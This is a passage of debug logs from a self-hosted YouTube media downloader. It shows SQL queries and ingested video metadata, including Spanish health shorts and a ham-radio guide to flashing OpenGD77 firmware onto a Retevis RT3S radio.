Controla Tu Salud? ¡Descubre el Secreto en tu Interior!.m4a", false, false, true, 2, [], 94, ~U[2025-05-21 14:03:37Z], ~U[2026-02-07 21:53:49Z], ~U[2026-02-07 21:53:49Z], "PARTE 6: EXPOSOMA:Exploramos el fascinante mundo de la microbiota y su modulación a través de la dieta y la medicación. ¡Descubre cómo estos 'bichitos' impactan en nuestra salud y cómo podemos influir en ellos! Próximamente, profundizaremos en este tema crucial. #Microbiota #SaludIntestinal #Microbiota #SaludIntestinal #ExposomaInterno #ModulacionMicrobiota #DietaSaludable #MedicinaNatural #Bienestar #Salud #CuerpoHumano #BacteriasBeneficiosas", "¿Microbiota Controla Tu Salud? ¡Descubre el Secreto en tu Interior!", 42, false, "FQQhfZNnnAU", "https://www.youtube.com/shorts/FQQhfZNnnAU", "/downloads/music/IA mí QUÉ/¿Microbiota Controla Tu Salud? ¡Descubre el Secreto en tu Interior!.m4a", true, 2, ~U[2025-05-21 14:03:37Z]] 22:53:49.614 [debug] QUERY OK source="sources" db=0.5ms idle=839.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:53:49.615 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:53:49.615 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1387] 22:53:49.616 [debug] Current batch of media processed. Will check again in 1000ms 22:53:49.706 [debug] Current batch of media processed. Will check again in 1000ms 22:53:50.616 [debug] Current batch of media processed. Will check again in 1000ms 22:53:50.707 [debug] Current batch of media processed. Will check again in 1000ms 22:53:51.292 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:51.617 [debug] Current batch of media processed. Will check again in 1000ms 22:53:51.708 [debug] Current batch of media processed. Will check again in 1000ms 22:53:52.618 [debug] Current batch of media processed. Will check again in 1000ms 22:53:52.709 [debug] Current batch of media processed. Will check again in 1000ms 22:53:53.619 [debug] Current batch of media processed. Will check again in 1000ms 22:53:53.710 [debug] Current batch of media processed. Will check again in 1000ms 22:53:54.620 [debug] Current batch of media processed. Will check again in 1000ms 22:53:54.711 [debug] Current batch of media processed. Will check again in 1000ms 22:53:55.621 [debug] Current batch of media processed. Will check again in 1000ms 22:53:55.712 [debug] Current batch of media processed. Will check again in 1000ms 22:53:56.622 [debug] Current batch of media processed. Will check again in 1000ms 22:53:56.713 [debug] Current batch of media processed. Will check again in 1000ms 22:53:57.623 [debug] Current batch of media processed. Will check again in 1000ms 22:53:57.714 [debug] Current batch of media processed. Will check again in 1000ms 22:53:58.624 [debug] Current batch of media processed. Will check again in 1000ms 22:53:58.715 [debug] Current batch of media processed. Will check again in 1000ms 22:53:59.625 [debug] Current batch of media processed. Will check again in 1000ms 22:53:59.716 [debug] Current batch of media processed. Will check again in 1000ms 22:54:00.136 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:00.626 [debug] Current batch of media processed. Will check again in 1000ms 22:54:00.717 [debug] Current batch of media processed. Will check again in 1000ms 22:54:01.627 [debug] Current batch of media processed. Will check again in 1000ms 22:54:01.718 [debug] Current batch of media processed. Will check again in 1000ms 22:54:02.630 [debug] Current batch of media processed. Will check again in 1000ms 22:54:02.719 [debug] Current batch of media processed. Will check again in 1000ms 22:54:03.630 [debug] Current batch of media processed. Will check again in 1000ms 22:54:03.720 [debug] Current batch of media processed. Will check again in 1000ms 22:54:04.631 [debug] Current batch of media processed. Will check again in 1000ms 22:54:04.721 [debug] Current batch of media processed. Will check again in 1000ms 22:54:05.632 [debug] Current batch of media processed. Will check again in 1000ms 22:54:05.722 [debug] Current batch of media processed. Will check again in 1000ms 22:54:06.633 [debug] Current batch of media processed. Will check again in 1000ms 22:54:06.723 [debug] Current batch of media processed. Will check again in 1000ms 22:54:07.634 [debug] Current batch of media processed. Will check again in 1000ms 22:54:07.724 [debug] Current batch of media processed. Will check again in 1000ms 22:54:08.635 [debug] Current batch of media processed. Will check again in 1000ms 22:54:08.725 [debug] Current batch of media processed. Will check again in 1000ms 22:54:09.636 [debug] Current batch of media processed. Will check again in 1000ms 22:54:09.726 [debug] Current batch of media processed. Will check again in 1000ms 22:54:10.637 [debug] Current batch of media processed. Will check again in 1000ms 22:54:10.727 [debug] Current batch of media processed. Will check again in 1000ms 22:54:11.638 [debug] Current batch of media processed. Will check again in 1000ms 22:54:11.728 [debug] Current batch of media processed. Will check again in 1000ms 22:54:12.639 [debug] Current batch of media processed. Will check again in 1000ms 22:54:12.729 [debug] Current batch of media processed. Will check again in 1000ms 22:54:13.640 [debug] Current batch of media processed. Will check again in 1000ms 22:54:13.730 [debug] Current batch of media processed. Will check again in 1000ms 22:54:14.641 [debug] Current batch of media processed. Will check again in 1000ms 22:54:14.731 [debug] Current batch of media processed. Will check again in 1000ms 22:54:15.642 [debug] Current batch of media processed. Will check again in 1000ms 22:54:15.732 [debug] Current batch of media processed. Will check again in 1000ms 22:54:16.643 [debug] Current batch of media processed. Will check again in 1000ms 22:54:16.733 [debug] Current batch of media processed. Will check again in 1000ms 22:54:17.644 [debug] Current batch of media processed. Will check again in 1000ms 22:54:17.734 [debug] Current batch of media processed. Will check again in 1000ms 22:54:18.645 [debug] Current batch of media processed. Will check again in 1000ms 22:54:18.735 [debug] Current batch of media processed. Will check again in 1000ms 22:54:19.659 [debug] Current batch of media processed. Will check again in 1000ms 22:54:19.736 [debug] Current batch of media processed. Will check again in 1000ms 22:54:20.659 [debug] Current batch of media processed. Will check again in 1000ms 22:54:20.737 [debug] Current batch of media processed. Will check again in 1000ms 22:54:21.295 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:21.660 [debug] Current batch of media processed. Will check again in 1000ms 22:54:21.738 [debug] Current batch of media processed. Will check again in 1000ms 22:54:22.661 [debug] Current batch of media processed. Will check again in 1000ms 22:54:22.739 [debug] Current batch of media processed. Will check again in 1000ms 22:54:23.662 [debug] Current batch of media processed. Will check again in 1000ms 22:54:23.740 [debug] Current batch of media processed. Will check again in 1000ms 22:54:24.663 [debug] Current batch of media processed. Will check again in 1000ms 22:54:24.741 [debug] Current batch of media processed. Will check again in 1000ms 22:54:25.664 [debug] Current batch of media processed. Will check again in 1000ms 22:54:25.742 [debug] Current batch of media processed. Will check again in 1000ms 22:54:26.665 [debug] Current batch of media processed. Will check again in 1000ms 22:54:26.743 [debug] Current batch of media processed. Will check again in 1000ms 22:54:27.666 [debug] Current batch of media processed. Will check again in 1000ms 22:54:27.744 [debug] Current batch of media processed. Will check again in 1000ms 22:54:28.667 [debug] Current batch of media processed. Will check again in 1000ms 22:54:28.745 [debug] Current batch of media processed. Will check again in 1000ms 22:54:29.668 [debug] Current batch of media processed. Will check again in 1000ms 22:54:29.746 [debug] Current batch of media processed. Will check again in 1000ms 22:54:30.669 [debug] Current batch of media processed. Will check again in 1000ms 22:54:30.747 [debug] Current batch of media processed. Will check again in 1000ms 22:54:31.670 [debug] Current batch of media processed. Will check again in 1000ms 22:54:31.748 [debug] Current batch of media processed. Will check again in 1000ms 22:54:32.675 [debug] Current batch of media processed. Will check again in 1000ms 22:54:32.749 [debug] Current batch of media processed. Will check again in 1000ms 22:54:33.676 [debug] Current batch of media processed. Will check again in 1000ms 22:54:33.750 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Pasar un Retevis RT3S / MD-UV380 a OpenGD77\n\nDescargar actualizacion firmware:\n\nhttps://www.opengd77.com/downloads/MDUV380_DM1701/Firmware/Latest/OpenMDUV380.bin (en este caso la version del 02-07-2023).\n\nDescargamos el firmware del MD9600 v5 ya que lo usaremos para importar partes de él:\n\nhttps://www.passion-radio.com/index.php?controller=attachment&id_attachment=760\n\nDescargar CPS:\n\nhttps://www.opengd77.com/downloads/CPS/Latest/OpenGD77CPSInstaller_R2023.06.25.01.exe\n\nDescargar voces:\n\nhttps://opengd77.com/downloads/Voice_Prompts/Latest/spanish_enrique-2.5_UV380-like.vpr\n\nDescargar firmware original Retevis RT3S:\n\nhttps://www.ailunce.com/Assets/software/RT3S-Software.zip\n\nDescomprimimos todo.\n\n1.- Instalamos el software oficial de Retevis.\n\nUsando el software oficial (carpeta /RETEVIS-RT3s/RT3S Software/RT3S_GPS_Software/) para copiar los datos de calibración del walkie (necesarios para hacer marcha atras si fuera preciso).\n\n2.- Conectamos la radio y mantenemos CONTROL+T pulsado hasta que ponga \"test\" en pantalla.\n\n3.- Hacemos backup del firmware y de los datos de calibracion.\n\n4.- Descomprimimos el firmware descargado del MD9600 (concretamente nos interesa el fichero MD9600-CSV(2571V5)-V26.45.bin )\n\n5.- Conectar el walkie y ponerlo en modo DFU (boton SK1 + PTT y puesta en marcha), el led se queda en rojo/verde.\n\nEn el administrador de dispositivos de Windows se vera un STM DFU driver.\n\n6.- En el OpenGD77CPS seleccionar la radio como MD9600 - MD-UV380\nSeleccionamos el fichero de firmware descargado (MD9600-CSV(2571V5)-V26.45.bin) en el menu EXTRAS ? O es \"Select official firmware (donor) file ???\n\nEn la pantalla de carga del firmware seleccionamos la radio como MD-UV-380\n\nSelect Open firmware file & update: coger el fichero de firmware de opengd77 OpenMDUV380.bin\n\nSe hara el update. Al arrancar saldran frecuencias extrañas. Ignorar, es porque el codeplug cargado no es correcto. Hay que hacer un codeplug nuevo.\n\n7.- Hacer un backup de la flash memory y guardarlo.\n\n8.- Hacer upload del codeplug, voice priompts, satellite data y DMR id.\n\nGUIA DEL USUARIO: https://github.com/LibreDMR/OpenGD77_UserGuide/blob/master/OpenGD77_User_Guide.pdf\n\nContenido del video\n\n00:00 - Inicio\n01:36 - Intro canal\n01:54 - Instalando controlador\n04:28 - Software retevis\n05:31 - Salvando calibración\n07:01 - Software OpenGD77\n10:18 - Update firmware\n14:13 - Primer codeplug\n17:00 - Backup Flash\n18:04 - Keplerianos, Voice Prompts \n19:55 - Callsign database\n\n#opengd77 #rt3s #dmr #hamradio #retevis #mduv380 #gps #diyelectronics #214\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1359, "filename" => "/downloads/music/ea3grn/113 - INSTALANDO OPENGD77 EN RETEVIS RT3S MD UV380.m4a", "id" => "KrdsV7-YUyw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KrdsV7-YUyw", "playlist_index" => 68, "timestamp" => 1689868814, "title" => "113 - INSTALANDO OPENGD77 EN RETEVIS RT3S MD UV380", "upload_date" => "20230720"} 22:54:33.752 [debug] QUERY OK source="sources" db=0.6ms idle=971.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:54:33.753 [debug] QUERY OK source="sources" db=0.5ms idle=973.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:54:33.754 [debug] QUERY OK source="media_items" db=0.6ms idle=973.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 16:00:14Z], 3] 22:54:33.757 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=974.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Pasar un Retevis RT3S / MD-UV380 a OpenGD77\n\nDescargar actualizacion firmware:\n\nhttps://www.opengd77.com/downloads/MDUV380_DM1701/Firmware/Latest/OpenMDUV380.bin (en este caso la version del 02-07-2023).\n\nDescargamos el firmware del MD9600 v5 ya que lo usaremos para importar partes de él:\n\nhttps://www.passion-radio.com/index.php?controller=attachment&id_attachment=760\n\nDescargar CPS:\n\nhttps://www.opengd77.com/downloads/CPS/Latest/OpenGD77CPSInstaller_R2023.06.25.01.exe\n\nDescargar voces:\n\nhttps://opengd77.com/downloads/Voice_Prompts/Latest/spanish_enrique-2.5_UV380-like.vpr\n\nDescargar firmware original Retevis RT3S:\n\nhttps://www.ailunce.com/Assets/software/RT3S-Software.zip\n\nDescomprimimos todo.\n\n1.- Instalamos el software oficial de Retevis.\n\nUsando el software oficial (carpeta /RETEVIS-RT3s/RT3S Software/RT3S_GPS_Software/) para copiar los datos de calibración del walkie (necesarios para hacer marcha atras si fuera preciso).\n\n2.- Conectamos la radio y mantenemos CONTROL+T pulsado hasta que ponga \"test\" en pantalla.\n\n3.- Hacemos backup del firmware y de los datos de calibracion.\n\n4.- Descomprimimos el firmware descargado del MD9600 (concretamente nos interesa el fichero MD9600-CSV(2571V5)-V26.45.bin )\n\n5.- Conectar el walkie y ponerlo en modo DFU (boton SK1 + PTT y puesta en marcha), el led se queda en rojo/verde.\n\nEn el administrador de dispositivos de Windows se vera un STM DFU driver.\n\n6.- En el OpenGD77CPS seleccionar la radio como MD9600 - MD-UV380\nSeleccionamos el fichero de firmware descargado (MD9600-CSV(2571V5)-V26.45.bin) en el menu EXTRAS ? O es \"Select official firmware (donor) file ???\n\nEn la pantalla de carga del firmware seleccionamos la radio como MD-UV-380\n\nSelect Open firmware file & update: coger el fichero de firmware de opengd77 OpenMDUV380.bin\n\nSe hara el update. Al arrancar saldran frecuencias extrañas. Ignorar, es porque el codeplug cargado no es correcto. Hay que hacer un codeplug nuevo.\n\n7.- Hacer un backup de la flash memory y guardarlo.\n\n8.- Hacer upload del codeplug, voice priompts, satellite data y DMR id.\n\nGUIA DEL USUARIO: https://github.com/LibreDMR/OpenGD77_UserGuide/blob/master/OpenGD77_User_Guide.pdf\n\nContenido del video\n\n00:00 - Inicio\n01:36 - Intro canal\n01:54 - Instalando controlador\n04:28 - Software retevis\n05:31 - Salvando calibración\n07:01 - Software OpenGD77\n10:18 - Update firmware\n14:13 - Primer codeplug\n17:00 - Backup Flash\n18:04 - Keplerianos, Voice Prompts \n19:55 - Callsign database\n\n#opengd77 #rt3s #dmr #hamradio #retevis #mduv380 #gps #diyelectronics #214\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "113 - INSTALANDO OPENGD77 EN RETEVIS RT3S MD UV380", "58b0383c-f0a6-4ce1-91c4-01f2223ebecd", 1359, false, "KrdsV7-YUyw", "https://www.youtube.com/watch?v=KrdsV7-YUyw", 68, "/downloads/music/ea3grn/113 - INSTALANDO OPENGD77 EN RETEVIS RT3S MD UV380.m4a", false, false, false, 3, [], 98, ~U[2023-07-20 16:00:14Z], ~U[2026-02-07 21:54:33Z], ~U[2026-02-07 21:54:33Z], "Pasar un Retevis RT3S / MD-UV380 a OpenGD77\n\nDescargar actualizacion firmware:\n\nhttps://www.opengd77.com/downloads/MDUV380_DM1701/Firmware/Latest/OpenMDUV380.bin (en este caso la version del 02-07-2023).\n\nDescargamos el firmware del MD9600 v5 ya que lo usaremos para importar partes de él:\n\nhttps://www.passion-radio.com/index.php?controller=attachment&id_attachment=760\n\nDescargar CPS:\n\nhttps://www.opengd77.com/downloads/CPS/Latest/OpenGD77CPSInstaller_R2023.06.25.01.exe\n\nDescargar voces:\n\nhttps://opengd77.com/downloads/Voice_Prompts/Latest/spanish_enrique-2.5_UV380-like.vpr\n\nDescargar firmware original Retevis RT3S:\n\nhttps://www.ailunce.com/Assets/software/RT3S-Software.zip\n\nDescomprimimos todo.\n\n1.- Instalamos el software oficial de Retevis.\n\nUsando el software oficial (carpeta /RETEVIS-RT3s/RT3S Software/RT3S_GPS_Software/) para copiar los datos de calibración del walkie (necesarios para hacer marcha atras si fuera preciso).\n\n2.- Conectamos la radio y mantenemos CONTROL+T pulsado hasta que ponga \"test\" en pantalla.\n\n3.- Hacemos backup del firmware y de los datos de calibracion.\n\n4.- Descomprimimos el firmware descargado del MD9600 (concretamente nos interesa el fichero MD9600-CSV(2571V5)-V26.45.bin )\n\n5.- Conectar el walkie y ponerlo en modo DFU (boton SK1 + PTT y puesta en marcha), el led se queda en rojo/verde.\n\nEn el administrador de dispositivos de Windows se vera un STM DFU driver.\n\n6.- En el OpenGD77CPS seleccionar la radio como MD9600 - MD-UV380\nSeleccionamos el fichero de firmware descargado (MD9600-CSV(2571V5)-V26.45.bin) en el menu EXTRAS ? O es \"Select official firmware (donor) file ???\n\nEn la pantalla de carga del firmware seleccionamos la radio como MD-UV-380\n\nSelect Open firmware file & update: coger el fichero de firmware de opengd77 OpenMDUV380.bin\n\nSe hara el update. Al arrancar saldran frecuencias extrañas. Ignorar, es porque el codeplug cargado no es correcto. Hay que hacer un codeplug nuevo.\n\n7.- Hacer un backup de la flash memory y guardarlo.\n\n8.- Hacer upload del codeplug, voice priompts, satellite data y DMR id.\n\nGUIA DEL USUARIO: https://github.com/LibreDMR/OpenGD77_UserGuide/blob/master/OpenGD77_User_Guide.pdf\n\nContenido del video\n\n00:00 - Inicio\n01:36 - Intro canal\n01:54 - Instalando controlador\n04:28 - Software retevis\n05:31 - Salvando calibración\n07:01 - Software OpenGD77\n10:18 - Update firmware\n14:13 - Primer codeplug\n17:00 - Backup Flash\n18:04 - Keplerianos, Voice Prompts \n19:55 - Callsign database\n\n#opengd77 #rt3s #dmr #hamradio #retevis #mduv380 #gps #diyelectronics #214\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "113 - INSTALANDO OPENGD77 EN RETEVIS RT3S MD UV380", 1359, false, "KrdsV7-YUyw", "https://www.youtube.com/watch?v=KrdsV7-YUyw", "/downloads/music/ea3grn/113 - INSTALANDO OPENGD77 EN RETEVIS RT3S MD UV380.m4a", false, 3, ~U[2023-07-20 16:00:14Z]] 22:54:33.758 [debug] QUERY OK source="sources" db=0.6ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:54:33.759 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:54:33.760 [debug] QUERY OK source="media_items" db=0.5ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1438] 22:54:33.760 [debug] Current batch of media processed. Will check again in 1000ms 22:54:34.677 [debug] Current batch of media processed. Will check again in 1000ms 22:54:34.760 [debug] Current batch of media processed. Will check again in 1000ms 22:54:35.678 [debug] Current batch of media processed. Will check again in 1000ms 22:54:35.761 [debug] Current batch of media processed. Will check again in 1000ms 22:54:36.679 [debug] Current batch of media processed. Will check again in 1000ms 22:54:36.762 [debug] Current batch of media processed. Will check again in 1000ms 22:54:37.680 [debug] Current batch of media processed. Will check again in 1000ms 22:54:37.763 [debug] Current batch of media processed. Will check again in 1000ms 22:54:38.681 [debug] Current batch of media processed. Will check again in 1000ms 22:54:38.764 [debug] Current batch of media processed. Will check again in 1000ms 22:54:39.682 [debug] Current batch of media processed. Will check again in 1000ms 22:54:39.765 [debug] Current batch of media processed. Will check again in 1000ms 22:54:40.683 [debug] Current batch of media processed. Will check again in 1000ms 22:54:40.766 [debug] Current batch of media processed. Will check again in 1000ms 22:54:41.684 [debug] Current batch of media processed. Will check again in 1000ms 22:54:41.767 [debug] Current batch of media processed. Will check again in 1000ms 22:54:42.685 [debug] Current batch of media processed. Will check again in 1000ms 22:54:42.768 [debug] Current batch of media processed. Will check again in 1000ms 22:54:43.689 [debug] Current batch of media processed. Will check again in 1000ms 22:54:43.772 [debug] Current batch of media processed. Will check again in 1000ms 22:54:44.691 [debug] Current batch of media processed. Will check again in 1000ms 22:54:44.772 [debug] Current batch of media processed. Will check again in 1000ms 22:54:45.692 [debug] Current batch of media processed. Will check again in 1000ms 22:54:45.773 [debug] Current batch of media processed. Will check again in 1000ms 22:54:46.693 [debug] Current batch of media processed. Will check again in 1000ms 22:54:46.774 [debug] Current batch of media processed. Will check again in 1000ms 22:54:47.695 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 5: EXPOSOMA: Descubre el 'exposoma general': factores ambientales compartidos que nos afectan a todos. Exploramos el aire que respiramos, el ruido que oímos y el estrés cotidiano. ¡Entiende cómo el 'exposoma global' y tus decisiones personales impactan tu salud! #exposoma #saludambiental #bienestar #ExposomaGeneral #SaludAmbiental #Bienestar #Estrés #MedioAmbiente #HabitosSaludables #ExposomaGlobal #DecisionesPersonales #CalidadDeVida #FactoresAmbientales", "duration" => 49, "filename" => "/downloads/music/IA mí QUÉ/¿El Exposoma Secreto? ¡Cómo el Ambiente y Tú Te Impactan!.m4a", "id" => "pf6_lgq640s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/pf6_lgq640s", "playlist_index" => 13, "timestamp" => 1747825421, "title" => "¿El Exposoma Secreto? ¡Cómo el Ambiente y Tú Te Impactan!", "upload_date" => "20250521"} 22:54:47.696 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=915.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:54:47.698 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=918.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:54:47.699 [debug] QUERY OK source="media_items" db=0.7ms idle=919.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-21 11:03:41Z], 2] 22:54:47.701 [debug] QUERY OK source="media_items" db=1.1ms idle=920.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 5: EXPOSOMA: Descubre el 'exposoma general': factores ambientales compartidos que nos afectan a todos. Exploramos el aire que respiramos, el ruido que oímos y el estrés cotidiano. ¡Entiende cómo el 'exposoma global' y tus decisiones personales impactan tu salud! #exposoma #saludambiental #bienestar #ExposomaGeneral #SaludAmbiental #Bienestar #Estrés #MedioAmbiente #HabitosSaludables #ExposomaGlobal #DecisionesPersonales #CalidadDeVida #FactoresAmbientales", "¿El Exposoma Secreto? 